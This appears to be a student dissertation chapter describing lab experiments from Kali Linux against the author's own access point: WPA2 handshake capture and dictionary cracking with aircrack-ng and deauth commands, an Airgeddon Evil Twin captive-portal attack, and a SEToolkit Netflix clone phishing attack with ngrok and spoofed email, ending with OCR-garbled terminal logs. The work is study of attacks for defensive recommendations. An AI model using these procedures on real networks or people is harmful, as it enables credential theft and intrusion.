This chapter describes the project design and implementation, explains and illustrates design figures plan for each part the author plan to achieve. In design section involves the images drawings of the works intend to perform with the components, tools and equipment required for the step of implementation. Moreover, this chapter includes a problem formulation, the sector of network security or cybersecurity is a part of the problem needed to be solved for the accomplishment of the project adjectives.
[bookmark: _Toc38872831]PROBLEM FORMULATION
This section is where the author formulates to solve the network security or cybersecurity problem. The sector of network security/cybersecurity got a serious security issues, such as malicious attacks that are viruses and hacking, data loss and security breaches. Explained on research background and related work some of the network security attacks and threats problems and on research methodology for the methods and procedures to be followed in order the problems to be solved.
[bookmark: _Hlk36741272]For the effort of solving this problem, software and other tools are used as the project based on experimental practical. The software used is Kali Linux, is specialised software designed for penetration test and digital forensics, this distribution mostly used on networking applications. Router is the tool used to provides any vulnerabilities within the network, is the tools links with kali Linux machine for the better penetration test of the target attacks. This will help monitoring, attacking, or testing security issues through the wireless network (WI-FI) such as WPA-PSK, WPA2.
[bookmark: _Toc38872832]DESIGN
This section is the author’s idea design and is the part that takes the project to the implementation stage included the tools and equipment used, the project done on Kali Linux machine and a home router or a smartphone hotspot connected to the internet as an access point (AP). The good design of the project will make easy to achieve the project aim. This gives the users understanding what will come next and helps the author to carry out simply into the implementation section according of the information gained from the literature review. Below are outlines the three different design that intend to present to the next stage of the project.
[bookmark: _Toc38872833]Passwords based attack (Wi-Fi cracking)
[image: ]
[bookmark: _Toc38870778]Figure 12 Design of the Password based attack (Wi-Fi cracking)
The above figure shows the network diagram of the Wi-Fi cracking password, the designer plans to use that design on cracking password on to WPA-PSK, WPA2 through tools from Kali Linux machine. The experimental of password-based attack is performed from kali machine to the target internet connection access point inside the wireless network.
[bookmark: _Toc38872834]Man-in-the-middle-attack (MiTM)
[image: ]
[bookmark: _Toc38870779]Figure 13 Design of the Man-in-the-middle attack
The image of the network diagram above, the author design to show how can analysis the network security attacks and threats through Evil Twin access point. As mentioned from the literature review about the man-in-the-middle-attack by using the rogue access point, the man in the middle set up its Evil Twin with the same access point SSID and same MAC address (BSSID) of the legitimate access point, the author uses a wireless network adapter for the quick and long range reading and that makes a good results on his attack. After gaining power to its fake AP the man places himself in the middle and ready for the attacks, the Victim machine will automatically connecting to the Evil Twin AP and that is where the MiTM can launch his attacks to the victim by either sniffing or spoofing attack and even can have the power to kick out permanently the victim from the internet connection.
[bookmark: _Toc38872835]Phishing attack
[image: ]
[bookmark: _Toc38870780]Figure 14 Design of Phishing attack
The network diagram above shows the design of phishing attack that involves attacker, victim, phishing (clone) website and legal website, and the process of phishing will be step by step from step one to four. 
[bookmark: _Toc38872836]IMPLEMENTATION
[bookmark: _Hlk38311066]This is the one main part based on the whole project, this part showed on how the author works on his implementation procedures for the network security attacks and threats through experimental analysis in order to come out with the helpful result. As explained on design part, the experimental analysis of the penetration test works on kali Linux machine with its different tools, the home router that attached to the internet connection and external ALFA network usb wireless adapter model AWUS036NHA. 
The author turned his machine by downloaded and installed kali box on it and that helped him to make the entire process quick and easy without reading problem to com pare to the kali Linux on virtual machine. Below explains each part of his test intend to perform and on how manages to implement by the help of kali Linux tools.
[bookmark: _Toc38872837][bookmark: _Hlk38671667]Implementation of Wi-Fi cracking WPA/WPA2 passwords using Aircrack-Ng Tools
On this implementation using aircrak-ng tools based on dictionary and brute force attack methods, these two methods after grabbing a 4 ways handshake can be able to encrypt password easily and can prove how weak of the victim network password are.
By using dictionary or brute force attacks the attacker can be able to access the target access point password by going step by step from airmong-ng command, airodump-ng command and aireplay-ng command. To conduct the cracking password attack, the author makes sure the target router by the access point name “said” has an internet connection as the process of an attack is within wireless network (wi-fi).
[bookmark: _Hlk38671776][bookmark: _Toc38872838]Implementation of man-in-the-middle-attack on Evil-Twin access point by using Airgeddon tool
On this part of implementation, the author uses Airgeddon tool to create Evil-Twin in another word to create fake access point that based on wireless attack to try force the victim to connect to the look like access point that has exactly same name with the original one. This attack uses the procedure de-authentication of kicking the victim through their original access point and man in the middle  creates a fake page and send to the victim and that page look like their router updating and asked them for the password login, as soon the victim enter the right password the internet connection will return in to normal connection and at the same time the man in the middle steal the victim password and he will use for the login and spy in each data and useful information within the target network. 
In order for the experimental to be achieved, the man in the middle uses the kali Linux machine that connects to the internet and a wireless adapter that have a capabilities to captures traffics within a good range of transmission also the author make sure to download and install Airgeddon tools to carry on the process. 
[bookmark: _Toc38872839]Implementation of Phishing attack by using Social engineering tools and email spoofing
On this phishing implementation has been done by using social engineering tools. The main aim is to gain a trust from the victim by creating a fake website and send a link with the attractive spoofed email that looks exactly or nearly to the original sender domain name. The attacker launches his attack by sending an email with an attached link to the victim, when victim open the email and click the link, takes him to the phishing website and that is where the attacker collects victim credentials information, so after collects the information from phishing website the hacker can be able to use the victim information to access the legal website. 
This implementation can be related to the things mentioned in literature review, hacker can send any clone website link to the victim either can be social media, bank or any known organisation website and sometimes can target specific person within company or can be any but for this case the clone website choose to be Netflix website.
By doing this will have a hope the victim will give the hacker easily and simply their password to him without victim understanding. 
[bookmark: _Toc38872840]CONCLUSION
To conclude on this chapter explained overview of design and implementation steps by steps that undertaken according of experimental analysis of the network security threats and attacks. The author designed figures that related on each experimental attack planned to achieve and described on how of each design works for the aim and objectives of the overall project. Furthermore, provided a good explanation for each on his implementation of Wi-fi cracking password by using aircrack-ng tool, man in the middle evil twin attack by using Airgeddon tool and phishing attack by using social engineering with email spoofing tool in order to give a reader a better understanding. The next chapter of testing and evaluation will outline in general on how the implementation achieved or not according from the design and will explain the results from each experimental performed.

[bookmark: _Toc38872841]CHAPTER 5: TESTING AND EVALUATION
[bookmark: _Toc38872842]INTRODUCTION
On this chapter described how the all experimental analysis works as intended or not of any failure, it included summaries on all testing experimental results were carried out. It also explained the reasons behind test for result evaluation, what test perform, what shows in a result and why/how to perform these tests. 
It contained the discussion on how the experiments designing verify the project’s hypothesis, this included the performance on designing, implementation and testing results to compere from different researcher. Finally. summarise the experimental test results.


[bookmark: _Toc38872843]TESTING
[bookmark: _Toc38872844]Testing on Wi-Fi cracking WPA/WPA2 passwords using Aircrack-Ng Tools
The proper step by step testing should be follow for the cracking to be achieved on result and below is the explanation of the process done with the help of the images undertake during experimental analysis.
[image: ]
[bookmark: _Toc38870781]Figure 15 iwconfig command
The above command sudo iwconfig used to show which wireless adapter our kali machine has, and which adapter will be used for data monitoring mode. As seen wlan1 and wlan0 both are the adapter of the author’s machine plan to use for his experiment. The adapter wlan1 show the capability of the tx-power of 30dBm and this is the measure of how the signal transmitted and this is the adapter use to capture data while is in monitor mode.
[image: ]
[bookmark: _Toc38870782]Figure 16 monitor mode command
The wireless adapter decides to be used is wlan1, so the above picture showed on how can put that adapter in to monitor mode and in order to put on to monitor the compatible wireless network adapter should be use. So, in this case decided to use the adapter of the author planned to use and that is Alfa AWUS036NHA, the command used to put wlan1 adapter in to monitor mode is sudo airmon-ng start wlan1, after successfully airmon-ng update the interface renamed from wlan1 to wlan1mon and can able to see all wireless traffic passed through it.
The author’s wireless adapter now is on monitor mode and has high capabilities to view all the wireless traffic passes on its range and this can capture the traffic by using airodump-ng command by adding the monitor mode wireless adapter in front of it as shown on figure 17
[image: ]
[bookmark: _Toc38870783]Figure 17 monitor traffics command
The above command can grabs and displays all traffics that the wireless adapter can be able to see and all critical information on it, that include MAC address of the access point (BSSID), power, number of beacons frame, number of data frame, number of the channel the access point belong, types on encryption has and the name of the access point SSID or ESSID. From the image below showed the visible access point (AP) listed upper and the one who listed lower is the clients.
[image: ]
[bookmark: _Toc38870784]Figure 18 lists of all traffics found
So, until that stage the author continued his implementation process by choosing the target access point for his testing and that is used to capture data on it. The command used for the target one is sudo airodump-ng --bssid 1C:15:1F:0E:EB:0D -c 1 -w said wlan1mon, while:
· [bookmark: _Hlk38315918]--bssid 1C:15:1F:0E:EB:0D is the MAC address for the target victim
· -c 1is the target channel of the access point
· -w said is the cap file that will be used to store the capture handshake 
· wlan1mon is the monitoring wireless adapter
[image: ][image: ]
[bookmark: _Toc38870785]Figure 19 information of the traffics from "said" AP
As can see above is the result from the target access point “said” with the command of airodump-ng. so, the wireless focused on monitor only the target access point chosen and showed all the device station connected on it.
[image: ]
[bookmark: _Toc38870786]Figure 20 De-authentication process attack on process
[bookmark: _Hlk38316148]In order to capture the encrypted password in to a handshake cap file, the aireplay-ng de-authenticate command used and this command kick all the client connected to the target victim access point and when stopped the command process will automatically connected them back while during the process be able to grab the encrypted password. The command as shown above sudo aireplay-ng --deauth 0 -a 1C:15:1F:0E:EB:0D wlan1mon, as:
· --deauth 0 is the unlimited number of de-authenticate frames send to “said” access point
· [bookmark: _Hlk38317199]-a 1C:15:1F:0E:EB:0D is the Mac address (BSSID) of the target victim
· wlan1mon is the wireless adapter used for monitor mode
[image: ]
[bookmark: _Toc38870787]Figure 21 WPA handshake displayed terminal
Th above screenshot showed the author successful captured and grabbed the victim password from the process of 4-way handshake after bounced the victim off their own access point (AP). At the top of the line showed how long took for captured and for this case took 2 minutes for the system grabbed the encrypted password and WPA handshake: 1C:15:1F:0E:EB:0D on that line is how tell the author his process success. 
As the author grabbed the encrypted password already and stored in to “said” cap file that created to store the captured handshake, so that file used for the methods of dictionary and brute force attack with the help of the aircrack-ng command ash shown on figure 22.
[image: ]
[bookmark: _Toc38870788]Figure 22 Aircrack-ng command 
While from the above command:
· said.01.cap is the captured handshake file
· -w /home/said/Desktop/rockyou.txt is the location where the password wordlists saved, and this file used for the process of aircrack-ng
The below screenshot figure 23 showed on how the process of aircrack-ng performed from the password file of rockyou.txt, how many keys tested run, time spent on cracking and where stated current passphrase is the place displayed the cracking password in still on process and will stop until the cracking one found. 
[image: ] 
[bookmark: _Toc38870789]Figure 23 The running process of Aircrack-ng
The last figure 24 demonstrated the last and finally process of testing experimental analysis on cracking WPA2 password by using aircrack-ng. Also, showed the testing result of the KEY FOUND during the author’s testing process. And the cracker during his testing process succeed to do different passwords and some of them cracked and other hasn’t.
 [image: ]
[bookmark: _Toc38870790]Figure 24 Aircrack-ng command display result screen

[bookmark: _Toc38872845][bookmark: _Hlk38810019]Testing on Man-in-the-middle-attack on Evil-Twin access point by using Airgeddon tool
Below is the step by step testing procedures followed for the results achievement according of the aim and objectives of the entire project. 
The tool starts for the following screenshot command below, after the command run correctly on terminal, the spaceship open and the tool is ready to do the hack.

[image: ][image: ]
[bookmark: _Toc38870791]Figure 25 Command process of opening Airgeddon tool
The next step is to configure Airgeddon, press enter after spaceship open for the tool to checks various tools that depend Airgeddon to function as normal. In this case the author needed to install some of the optional tools, such as the picture figure 26 shows.
[image: ]
[bookmark: _Toc38870792]Figure 26 opening tool process....
After all the tools installed properly, pressed enter for the wireless network interface adapater selection. The interface wlan1 choosed by entered number 3 and took straight to the main menu, but before procceed to the next step, choosed number 2 to put the wireless adapter in to monitor mode as shown the images steps below.
[image: ][image: ]
[bookmark: _Toc38870793]Figure 27 Menu and wireless adapters screen display
After succsesefuly put the adapter on to monitor mode, the adapter changed from wlan1 and displayed wlan1mon then pressed enter and back to the main menu. Choosed number 7 for the Evil Twin attacks menu, so the submenu of Evil Twin will appear as shown below.
[image: ]
[bookmark: _Toc38870794]Figure 28 Evil Twin AP menu display
Now is the Evil Twin attacks target for the implementation purpose, selected option 9 Evil Twin Access poin (AP) attack with captive portal, this expored target victim and fot this case the target AP is “said” then pressed enter.
[image: ]
[bookmark: _Toc38870795]Figure 29 Exploring target screen display
[image: ]
[bookmark: _Toc38870796]Figure 30 terminal of select target network
The image on top displayed the target for captured network traffic and found “said” with its channel number and BSSID Mac address, after everything came in to target then closed the exporing target terminal and appeared the other image that requires to enter the target number. For the victim target needed for experimental showed no client connect on it as it showed white, the other two showed yellow meant can b easy to trick the user for provide password. But finnaly the target victim access point “said” the client joined on it and entered 7 for ready of the next step.
[image: ]
[bookmark: _Toc38870797]Figure 31 Menu of Evil Twin de-authentication attacks
The next step is gathering the handshake by de-authintication attack so this helps to kick the victim to their network while waiting to receive the available handshake from the target network. Different option apperared to the terminal screen and all the options entered by typing no and choosed 20 seconds for the process to carried on just like shows on figure 32 then enter and wait for the handshake to be found.
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[bookmark: _Toc38870798]Figure 32 attacks steps with aireplay deauth attack and capturing handshake screen terminal
So, these proccess proceed untill the WPA handshake found and displayed congratulations, that meant the handshake found and saved in to the cap file on location of  /root/hanshake-1C:15:1F:0E:EB:0D.cap
[image: ]
[bookmark: _Toc38870799]Figure 33 shown a capture handshake and where it saved
After pressed enter, the next step is the man placed himself in the middle and create the fake updating router page and send straight to the victim for capture network credintials. But before that, the next image entered by the choosen language number and in this process entered number 1 for English as gathered all the useful information needed for the attack.
[image: ]
[bookmark: _Toc38870800]Figure 34 language selection of captive portal page
Next, displayed six templates on different terminal screen with the attack underway. On this process kicked the victim on their network and wait the fake page for them to re-enter the password. The top right corner on control terminal that is the place will display the password captured if the victim entered through the fake router update page created.
[image: ]
[bookmark: _Toc38870801]Figure 35 screens shows the attack in on process

And this underneath image popped up on to the victim screen and asked to open the browser and to make them back in to the internet connection, the action needed for their network.
[image: ]
[bookmark: _Toc38870802]Figure 36 the pop-up window from the victim machine
As long the victim open it, will take them straight to the fake page created by the man in the middle for captured their wireless password, and the page will look like this with the wireless network ESSID “said”
[image: ]
[bookmark: _Toc38870803]Figure 37 the fake router updating page from the victim machine
Seen underneath of this picture on right showed no any internet connection available, so this will make the victim to enter their router password in order for them to get an internet access.
[image: ]
[bookmark: _Toc38870804]Figure 38 fake router updating page
The screenshot beyond showed the victim tried to enter their password in order for them to get their internet connection return. The victim entered ilovefootball as his password and submit. The control figure 39 that is the last step on this man in the middle attack and is the last screen that displayed the result of the testing process.
[image: ]
[bookmark: _Toc38870805]Figure 39 control screen showed the victim Evil Twin AP results
However, from the following testing results analysis of man in the middle attack on Evil Twin access point by using Airgeddon proved the attacker succeed placed himself in the middle of connection between the victim and original access point (AP) and managed to kicked him on his router and entered his password ilovefootball on to the fake routing updating page created by the atatcker.

[bookmark: _Toc38872846]Testing on Phishing attack by using Social engineering tools and email spoofing
The following is the step by step testing experimental analysis on network security threat and attack through email phishing with the help of spoofed email method.
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[bookmark: _Toc38870806]Figure 40 social engineering opening command with the main menu
To open a social engineering tool kit firstly typed the command of sudo setoolkit as it shown from the screenshot and then the main menu opened. From that menu chose number 1 social-engineering attacks and hacker pressed enter.
[image: ]
[bookmark: _Toc38870807]Figure 41 next screen menu
As the steps continue the other menu with six different options opened, the target is to create fake website, so the hacker chooses number 2 for website attack vectors. Next terminal open started the paragraph The Web-Jacking Attack…. With the seven options on sub menu. Clicked number 3 for Credential Harvester Attack method such as displayed on figure 42.
[image: ]
[bookmark: _Toc38870808]Figure 42 sub menu of website attacks vector
After that the next screen opened with the three different option, the phisher choosed number 2 Site Cloner and entered because this method will completely cloned the choosen website and will allow grab the credentials information easily from the victim
[image: ]
[bookmark: _Toc38870809]Figure 43 credentials harvester attack methods menu
[image: ]
[bookmark: _Toc38870810]Figure 44 IP address from the machine used
After entered number 2 for site cloner the webattack required the IP address for the post back harvester/tabnabbing, this IP is themachine used for the attack and in this case the phisher kali machine IP address like displayed from the screenshot 192.168.1.20 after that pressed enter. The next step down the screenshot below asked to enter a website need to clone and the target is Netflix wesite to grab the victim password and username. The correct url clone entered as follow: www.netflix.com/gb/login this will take the victim straight to the login page, this step sometimes take a time to clone the site and when is done appeared like seen underneath the picture with the three dark blue sentenses. One displayed the attack  on social engineering and was credential harvester attack, the other one credintial harvetster running port number and for this attack runned on port 80 and the last one is the explained about the information for everythings happened in attack will display down below 
[image: ]
[bookmark: _Toc38870811]Figure 45 showed the target clone website
As the phisher waiting for the information to display, first and for all that step hasn’t created yet the clone wesbite the way wanted instead created in the form of localhost on to port 80, additionaly tool the phisher used to create a look like website for his phishing attack and that was ngrok tool runned on to the same port 80 localhost but it displayed different with the good look of website link, opened a new terminal and typed the following command started with 
· cd Desktop this is where the tool of ngrok saved location is, and on desktop is where it saved
· sudo ./ngrok http 80 started the http tunnel on a localhost port 80
The forwading http for the netlfix clone site was ngrok.io and this used on spoofed email to the victim.
[image: ][image: ]
[bookmark: _Toc38870812]Figure 46 Ngrok tool display command and https result
After those steps managed to clone a Netflix website and the following steps was creating a spoofed email for the forged sender and finalised the phishing attack with the best knowledge of social engineerinf attacks.
Emaile spoofed created by using online source called emkei’s emailer. This gave th phisher ability to fake the sender from name, e-mail, and where to the email to send, email subject, attachment, and choose the content type and with the text book to write the spoofing email. 
The picture on figure 47 is the email designed by a phisher to the victim by the name of Nairah to asked open the link for her account update due to the security reasons, within the email included the http Netflix login page link created from social engineering toolkit on option of credential harvester attack.
The phisher used Netfliix is the domain where the email send from instead of original Netflix for shown how powerful the hacker can do with their knowledge to launch a phishing attack to the victim even without using the real domain.
[image: ]
[bookmark: _Toc38870813]Figure 47 email spoofing form website
After an email sent successfully to the victim, the email appeared like a real email to the reciver mail box.
[image: ]
[bookmark: _Toc38870814]Figure 48 victim email received account details
And this how looked when the victim opened it, it showed the email from the fake Netfliix with an actual domain on it with the clone original Netflix link website.
[image: ]
[bookmark: _Toc38870815]Figure 49 spoofed email received and opened
After the victim opened the link from the spoofed email received, the link took her straigh to the fake Netflix login page with the https of ngrok.io and not a real website url and asked for the login details and that was the main point of the phisher to play a trick to the victim in order to phish the victim login infomration. The image appeared the victim entered the details required and submit by clicked a sign in button.
[image: ]
[bookmark: _Toc38870816]Figure 50 credentials information entered by the victim from the clone website
Finally, the last step of phishing testing process showed on the figure 51 and displayed the print output from the entire process. This showed the entire process went well and the phisher did perfect on his testing part and managed to phished the victim  username with the user login ID and her password.
[image: ]
[bookmark: _Toc38870817]Figure 51 the last screen on social engineering output screen

[bookmark: _Toc38872847]EVALUATION (DISCUSSION)
[bookmark: _Toc38872848]Wi-Fi cracking WPA/WPA2 passwords using Aircrack-Ng Tools
According from the test result and the author reasons to use Aircrack-ng tool for cracking WPA/WPA2 passwords are to work on analysis on network security attacks and threats and for not goes against the aim of the entire project. This came after done couples of research on how to perform this part and according on related work analysed it found useful on how the author carried out his test for the results achievement. On paper [48] used aircrack-ng tools for cracking WPA/WPA2-PSK password with airodump-ng and aircrack-ng command for testing results by using brute force with dictionary attacks methods and as shown on literature review this researcher succeed on his result. Also, on paper [49] the information gathered helped to use ALFA wireless adapter as well on his better performance of testing. Apart from that, [53] the researcher explained his results of cracking wi-fi password by using dictionary and brute force methods with different password types such birthday, long digit numbers alphabetics formats and even though succeed to crack them. So, same on this project the author gained knowledge together from paper [48] , [49]  and [53] to carried on his testing process for achieved his results like as explained the procedures on testing section.
To summarise, the author performed his test on aircrack-ng tool with different passwords testing and recommends the long strong complex password for the solution of password security and here are the results analysis from the experimental testing:
	
	Passwords Analysis
	

	Types of passwords 
	Passwords
	Result

	City name 
	Liverpool
	Key Found

	Person names and numbers
	said1234
	Key Found

	8 digits numbers
	86428642
	Key Found

	Mixed of number, small with capital letters
	SaidMls98
	Failed


[bookmark: _Toc38870900]Table 2 Passwords analysis results
[bookmark: _Toc38872849]Man-in-the-middle-attack on Evil-Twin access point by using Airgeddon tool
The test results showed the reason on how the man-in-the-middle attack for evil twin access point carried on by using Airgeddon tool is to steal victim login information for analysis on network security threats and attacks. On paper [54] the researcher on his testing used Realtek wireless adapter for signal transmission together with kali linux also, explained of using airmon-ng tool for monitor a wireless network traffics and on his results won to target the victim by using his spoofed Mac address for his fake access point. This paper [54] makes different to the author approached because on his testing used ALFA wireless adapter instead of Realtek and used of Airgeddon his hacking environment but on other hand both used spoofed Mac address to tricked the victim. To  look back on paper [62] the researcher considered using hostapd for enabling network interface card to act as an access point although on his test results used aireplay-ng and airodump-ng tools for launched a de-authentication attack and for captured WPA handshake. However, the author on his testing section used aireplay build on command on Airgeddon for de-authentication attack for kicked out the victim to their original access point for placed himself in the middle to steal the login credentials also managed to captured the WPA handshake as the one step of the testing process.
To summarise, the author first target planned to give the power completely to his Evil-Twin access point (AP) for the purpose of spoofing and sniffing the victim but failed on this plan and decided used the Airgeddon instead. On paper [54] and [62] helped the author to gained understanding knowledge for carried on his testing and achieved his result as shown on his testing section though ended used the different tool to compare to them but the tool used achieved his result of placed himself in the middle and attack by grabbed the victim router login password by the known ilovefootball. The solution recommendation from this attack are by using virtual private network (VPN) use of strong complex password and to hide MAC address.
[bookmark: _Toc38872850]Phishing attack by using Social engineering tools and email spoofing
From the testing results, the reason used email spoofing and social engineering tool on performed the phishing attack is to phish victim information for the aim an objective of the project. The main purpose on this testing is to analysis the network security threats and attacks by sending the victim a fake email and monitor if the email open and if either the phish credentials achieved or not. One of the author research helped him for the knowledge gained to continue on his experimental testing, on paper [63] the researcher analysed his experiment of email phishing by sending a spoofed email to the target employees and acted as the recognised domain company. On his test used spelling error on his email subject also used non-association domain webpage to send to the victims and despite all of this he succeeds phished from the target victims. This process from [63] is the same procedures used on this project but the different is the author used social engineering setoolkit for website cloning and website used to clone was Netflix login page and when came for spoofed email used the online spoofing email form called emkei mailer. Apart from that, the author changed sender domain name from Netflix to Netfliix also the link attached to the email is non Netlix domain webpage instead used the link created from ngrok tool of the localhost port 80.
To summarise, paper [63] helped somehow the knowledge used on testing section for the result achievement as shown on figure 50 the victim opened the phished webpage and entered her details and on figure 51 the phisher succeed to phish the user credentials login details. The phisher can use that information to login to the legitimate website without the victim knowledge. The solution recommendation is using of virtual private network (VPN) and using anti-phishing detection application.
[bookmark: _Toc38872851]CONCLUSION
In conclusion, this chapter displayed the testing results images and explained the summaries of testing step by step. also, included the discussion on three experimental analysis and how related to the researched paper mentioned on literature review chapter. The testing outlined on three different ethical hacks that included Wi-Fi cracking passwords using Aircrack-Ng Tools, man-in-the-middle-attack on Evil-Twin by using Airgeddon tool and phishing attack by using Social engineering tools and emkei mailer for spoofed email. However, explained the solution recommendation on each ethical hacks performed for securing the network in case of threats and attacks happens.
[bookmark: _Toc38872852]CHAPTER 6: CONCLUSION AND RECOMMENDATIONS
[bookmark: _Toc38872853]CONCLUSION & SUMMARY
This research report has presented on analysis network security threats and attacks into experimental environment. The report summarised seven different chapters and each chapter explained different things. On chapter one introduced the project introduction, aim and objectives and structure of how the project will look like. Chapter two explained literature review and research background on to different fields of cybersecurity, the author analysed procedures and testing results done from other researcher in to his three ethical hacking environments. Moreover, chapter three outlined the research methodology, the author used research onion developed by Saunders and explained his chosen methods on research design presented by systematically approach on tree diagram.
Also, outlined the design and implementation of the project on chapter four, the author designed three different figures of three different attacks used on testing chapter. Put the explanation on implementation part on how the design will operates during the testing process this included the tools approached with attacking background. Described the testing steps taken and discussion on chapter five according of the aim and objectives of the project. Outlined the testing by displayed the images step by step until reached the result also evaluated the discussion by explained the approached method on WPA/WP2 cracking password using aircrack-ng tool, man-in-the-middle attack evil twin by using Airgeddon tool and phishing attack on social engineering tools with email spoofed. On this chapter the author linked his work achieved to the one done on his related work and analysis and explained the similarities and non-similarities between the testing result from them and his one achieved. On chapter six summaries and conclude the all done from the previous chapter and by finish his last chapter seven presented the overall project evaluation
To summarise the conclusion, this research aim explained and based on each chapter by analysed the network security threats and attacks by performed the ethical hacking implementation on ethical environment, this done from the output result by used the kali Linux machine tools and managed to found how weak the system are on a security part.
[bookmark: _Toc38872854]RECOMMENDATIONS FOR THE FUTURE WORK
The author things recommend for the future research work are into many different fields from this project as known the internet growth day by day and cybercrime increased in high capacity, strong cyber-security needed to protect against any malicious attacks through the network system. His thought during performed the WPA/WPA2 cracking password is to find out the new ways of cracking even the strong complex password with different methods apart from brute force and dictionary attacks. 
Also, the more research on testing of how to give power the internet connection to the Evil-twin access point AP for the victim to join easy the fake one instead of putting them back in to their original access point.
[bookmark: _Toc38872855]CHAPTER 7: REFLECTIONS
This chapter reviews to what level the objectives and aim achieved by this research.  It reflects how well the project objectives have been accomplished and what could have been done to report any shortcomings.  The reflections drawn during this research are also brought together underneath the umbrella of the objectives.  
During this research the author achieved of learning the new skills on cybersecurity in general although found difficulty on the first time and spend much of his time reading the online article, reading the different previous research paper and learned by watched YouTube video that related to the kali Linux tools and how to do an attack and how the attack or threats can be prevented. These time spending helped a lot to the author for the completion of his experimental analysis even though in a time management was a bit problem because needed to balance the time while already spent much time on reading the things related to his work but at the end managed to balance his time according on his project plan time slot.
The other point learned during the project is not giving up because the author had a plan A on his man-in-the-middle attack on evil twin access point but when performed his testing he didn’t able to reach the goal were supposed to reach and came out with the other implementation solution for plan B and achieved his result on testing.
The research project aim was to analyse the network security attacks and threats by performed the ethical hacking implementation on ethical environment and the author did all his power to achieve this through the knowledge gained during research background for the related work and analysis and used the learning outcome in to his design and implementation chapter and in to testing chapter as well. 
Finally, on reached his objectives the author establishes the understanding of accessing the network into ethical environment, after performed his test managed to identify the system vulnerabilities and achieved to outlined and suggested the protective measure into the target field performed.
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BSSID CHANNEL PWR  ENC

1)+ 98:9C:57:82:71:3A 5  15% WPA2

2)% BE:AS:SBIEE:S7:C1 11  31%  WPA2
3) 11 14%  WPA
4) 6 22%  WPA2
5) 11 13%  WPA
6) 11 8% WPA2
7) 1 48%  WPA2
) 1 54%  WPA2
9) 11 47%  WPA2
10) 11 14%  WPA2

(*) Network with clients

Select target network
>71

PSPPI T T eI I i e TS ORI E R PP T L E AT A PP P A i sy,
said@lali: ~fairgeddon - @ x

kR ke SETECT TATet okikbkiokiokiokik ok

ESSID
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AndroidAP57C1
EE-BrightBox-6kjfpé
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FERE R RS a . EVIT TWIN dEQUTE Hkkbkr Rk Hr R R AR R AR RREE
Interface wlanimon selected. Mode: Monitor. Supported bands: 2.4Ghz

Selected BSSID: 1C:15:1F:0E:EB:0D

Selected channel: 1

Selected ESSID: said

Handshake file selected: None

Select an option from menu:

0. Return to Evil Twin attacks menu

Deauth / disassoc amok mdké attack
2. Deauth aireplay attack
3. WIDS / WIPS / WDS Confusion attack

sHints I you can't deauth clients from an AP using an attack, choose another one :)

>2

If you want to integrate "DoS pursuit mode® on an Evil Twin attack, another additiona
1 wifi interface in monitor mode will be needed to be able to perform it

Do you want to enable "DoS pursuit mode*? This will launch again the attack if target
AP change its channel countering “channel hopping" [y/N]
>nll
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Do you want to spoof your MAC address during this attack? [y/N]
>n

This attack requires that you have previously a WPA/WPA2 network captured Handshake f
ile

If you don't have a captured Handshake file from the target network you can get it no
w

Do you already have a captured Handshake file? Answer yes ("y*) to enter the path or
answer no ("n") to capture a new one now [y/N]
>n

Type value in seconds (10-100) for timeout or press [Enter] to accept the proposal [2
ol:
> 20

Timeout set to 20 seconds

Two windows will be opened. One with the Handshake capturer and other with the attack
to force clients to reconnect

Don't close any window manually, script will do when needed. In about 20 seconds maxi
num you' 1L know if you've got the Handshake
Press [Enter] key to continue...l|
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O 10 Elapsed: 6 s I 2020-04-21 18:59
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um you'll know if you've got the Handshake
Press [Enter] key to continue...

Wait. Be patient ...
Congratulations !!

Type the path to store the file or press [Enter] to accept the default proposal [/root
/handshake-1C:15: 1 B:0D. cap]

>
The path is valid and you have write permissions. Script can continue...

Capture file generated successfully at [/root/handshake-1C:15:1F:0E:EB:0D.cap]
Press [Enter] key to continue

BSSID set to 1C:15:1F:0E:

Channel set to 1
ESSID set to said

If the password for the wifi network is achieved with the captive portal, you must dec
ide where to save it. Type the path to store the file or press [Enter] to accept the d
efault proposal [/root/evil_twin_captive_portal_password-said.txt]

>

The path is valid and you have write permissions. Script can continue...

Press [Enter] key to continue
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Interface wlaninon selected. Mode: Monitor. Supported bands: 2.4Ghz
Selected BSSID: 1C:15:1F:0E:EB:0D

Selected channel: 1

Selected ESSID: said

Deauthentication chosen method: Aireplay

Handshake file selected: /root/handshake-1C:15:1F:0E:

0. cap

Choose the language in which network clients will see the captive portal:

Return to Evil Twin attacks menu

1. English
2. spanish
3. French

4. Catalan

5. Portuguese
6. Russian

7. Greek

8. TItalian

9. Polish

10. German

11. Turkish
*Hints Sslstrip technique is not infallible. It depends on many factors and not always
work. Some browsers such as Mozilla Firefox latest versions are not affected

>1ll
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AP

Configuration File: /tup/ag,hostapd.conf
Using interface ulaninon with huaddr 16115:1:05teb:0d and ssid "said"

ulaninon; interface state UNINITIALIZED->ENABLED

wlaninon; AP-ENGBLED

ulaninon: STA 34:e1:20:56:87:2c [EEE 802,11 authenticated

ulaninon: STA 34:e1:2d:56:67:2 IEEE 802,11 associated (aid 1)

ulaninon; AP-STA-CONVECTED 3d1e1:20:56:87:2c

plntaon ST 3401120151872 RADIUS: starting accounting session SHFCSSARTONIRA

DHCP.

Sending on  LPF/ulaninon/1c:15:1¢105:eb:00/192,169,1,0/24
Sending o Socket/Fal lback/Fal Lback-net

Seruer starting service.

DHCPREQUEST For 192,163,43,43 from 34:e1:20:56:87:2c via ulaninon: urong netuork.
DHCPHAK on 192.168,43,43 to 34:e1:20:56:57:2¢ via wlantnon

DHCPREQUEST for 195,168,43.,43 from 34:e1:20:56:87:2c via ulaninon: urong netuork.
DHCPHAK on 19.168,43,43 to 34:e1:20:56:57:2¢ via wlantnon

DHCPDISCOVER Fron 34:61:24:56:87:2c via ulaninon

DHCPOFFER on 192,169.1,33 to 34:e1:2d:56:87:2c (LAPTOP-FFIBGZEK) via ulantnon

DHCPREDUEST for 192,169,133 (192,169,1.1) From 34:e1:2d:56:87:2c (LAPTOP-FFIBG2EK) via ulantnon

DHCPACK on 19,169,133 to 34:e1:2d:58:87:2c (LAPTOP-FFAB62EK) via ulantnon

reuse_lease: lease age 0 (secs) under 257 threshold, reply uith unaltered, existing leass for 182,1

63,133

DHCPREQUEST for 192,169,133 (192,169,1.1) from 34:e1:2d:56:87:2c (LAPTOP-FFIBG2EK) via ulantnon

IRPRCK on 152,160,155 5 el 24r5:20 (APTEP-FFIGEA) via wiartnen

Control - o x
Evil Tuin P Info /7 BSSTI: 10:15:1F10E1ER:0D /7 Chanmel: 1 /7 ESSTI: said

Online tine
00:00:20

On this attack, we'll wait for a network client to provide us the password for the wifi ne
work in o captive portal

